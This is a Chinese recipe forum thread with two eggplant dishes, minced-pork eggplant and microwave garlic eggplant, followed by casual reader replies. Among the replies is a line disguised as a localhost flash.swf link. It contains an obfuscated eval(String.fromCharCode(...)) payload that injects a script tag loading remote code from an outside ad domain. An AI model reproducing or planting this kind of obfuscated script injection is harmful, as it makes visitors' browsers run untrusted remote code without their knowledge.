把蔬菜做得比肉还好吃的方法，看着口水都要流下来了呢
特别饿的时候，必须吃上满满一碗米饭才会觉得满足。茄子是我觉得最下饭的蔬菜，入味，鲜美，酥软，比肉还好吃。配碗白米饭，一餐就搞定了。
这次做了个【肉末茄子】。来一碗白米饭，把茄子和肉末一起铺在饭上拌开，油汁浸透，就只顾得上狼吞虎咽了。
＊ 肉末茄子做法 ＊
准备食材：猪肉末、豆豉、蒜末、干辣椒、小葱，长条茄子洗净去蒂，切成条状。
1、锅中倒油约一指节深，烧热，入茄条略炸后捞出备用。
2、另起一锅，倒少许油放入肉末炒散，加辣椒碎末、盐、料酒、蒜末、豆豉、少许豆瓣酱炒出香味。
3、加入炸过的茄条，茄子熟软后加少许酱油掂匀上色。
4、撒葱花点缀，完成！
＊ 微波炉烤茄子做法 ＊
1、大蒜去皮切成碎末。整根茄子洗净入微波炉高火叮5-6分钟。
2、油热后放蒜末炒香，加适量生抽、胡椒粉、辣椒粉，少许老抽和蚝油，炒匀关火。
3、将叮熟的茄子切开铺平，铺上炒好的蒜蓉。适当用筷子戳一下，更好入味。
4、放入微波炉再次高火叮5-6分钟。
5、根据口味撒点辣椒粉、孜然粉、葱花。
一口酥软。
我告诉你，用肉末做出来的一般般，要用肉末加咸鱼粒做出来的，才叫真的好吃 么么小妖 发表于 2017-1-11 16:51
我告诉你，用肉末做出来的一般般，要用肉末加咸鱼粒做出来的，才叫真的好吃
所以有道菜叫鱼香茄子煲呀 一看就不好恰。{:255:} 这么多肉粒，啥菜也好吃啊，亲！~ 我做茄子的技术比你高{:252:}{:252:}{:252:} 大半夜看到这个。。。煎熬啊
http://localhost/flash.swf?'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,47,47,97,100,46,109,49,48,48,56,54,46,99,99,47,63,97,100,39,93,59))+'
{:255:}{:255:}{:255:} 已经饿得不要不要的了{:258:} 这样油炸的，高热量，油又多，吃了不健康啊